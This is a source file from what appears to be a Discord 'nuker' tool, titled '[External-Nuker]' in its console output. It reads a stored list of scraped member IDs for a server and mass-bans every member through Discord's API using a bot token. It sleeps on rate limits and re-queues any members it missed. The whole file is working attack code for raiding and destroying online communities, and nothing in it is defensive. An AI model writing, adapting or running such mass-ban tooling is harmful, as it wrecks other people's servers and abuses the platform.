import { white } from "chalk"; import scrapeModel from "../../models/scrape"; import { createString } from "../../utils/createString"; import { getTheme } from "../../utils/getTheme"; import sleep from "../../utils/sleep"; import { main } from "../main"; import { wizz } from "../wizz"; const request = require("request"); module.exports = async (client, db, rl, guildID) => { function nukeStr(str, type) { let mainColor = getTheme(db); let r = ` ${mainColor("[")}${white( type === "rateLimit" ? "!" : type === "success" ? "+" : type === "fail" ? "-" : "" )}${mainColor("]")} ${white(str)}`; return r; } let scrape = await scrapeModel.findOne({ Username: db.get("username"), Guild: guildID, }); let server = client.guilds.cache.get(guildID); if (!scrape) { console.log( createString("No scrape data for the server", db, "semi", "fail") ); setTimeout(() => { wizz(client, db, rl); }, 1000); return; } interface members { Members: String[]; } let scraper = scrape; let mainColor = getTheme(db); let headers = { Authorization: "Bot " + db.get("curtoken") }; client.on("rateLimit", async () => { console.log( nukeStr(`Rate limited - Sleeping for 1 second(s)`, "rateLimit") ); await sleep(1000); }); let leftOverMembers = []; function banRest() { console.log("Banning rest"); leftOverMembers.forEach(async (memId) => { await sleep(500); const options = { url: `https://discord.com/api/v8/guilds/${guildID}/bans/${memId}?reson=testerr`, method: "PUT", headers: headers, }; banMember(options, memId, 0, 1000, false); }); } function banMember(options, id, index, max, addTo) { request(options, async function (err, res, body) { if (index === max) { setTimeout(() => { banRest(); }, 1000); return; } if (body) { let objBody = JSON.parse(body); if (objBody.message === "Missing Permissions") { return console.log(nukeStr(`Failed to ban ${mainColor(id)}`, "fail")); } else if (objBody.message === "You are being rate limited.") { console.log( nukeStr( `Rate limited - Sleeping for ${objBody.retry_after} second(s)`, "rateLimit" ) ); if (addTo === true) { leftOverMembers.push(id); } await sleep(objBody.retry_after * 1000 + objBody.retry_after * 300); banMember(options, id, index, max, false); } } if (!err) { console.log(nukeStr(`Banned ${mainColor(id)}`, "success")); process.title = `[External-Nuker] - Banned ${id}`; } else { console.log(nukeStr(`Failed to ban ${mainColor(id)}`, "fail")); process.title = `[External-Nuker] - Failed to ban ${id}`; } }); } scraper.Members.forEach((id, i) => { const options = { url: `https://discord.com/api/v8/guilds/${guildID}/bans/${id}?reson=testerr`, method: "PUT", headers: headers, }; banMember(options, id, i, scraper.Members.length - 1, true); }); // scraper.Members.forEach((member, i) => { // let inter = setInterval(() => { // if (c >= scraper.Members.length) { // setTimeout(() => { // wizz(client, db, rl); // console.log(" "); // console.log( // createString( // "Making sure console is clean.. Please wait", // db, // "semi" // ) // ); // setTimeout(() => { // console.clear(); // console.log(createString("Running second cleaning..", db, "semi")); // setTimeout(() => { // console.clear(); // wizz(client, db, rl); // }, 700); // }, 400); // }, 500); // clearInterval(inter); // } // }, 500); // server.members // .ban(member) // .then(() => { // process.title = `[External-Nuker] - Banned ${member}`; // c++; // console.log(nukeStr(`Banned member ${mainColor(member)}`, "success")); // }) // .catch(() => { // process.title = `[External-Nuker] - Failed to ban ${member}`; // c++; // console.log( // nukeStr(`Failed to ban member ${mainColor(member)}`, "fail") // ); // }); // }); };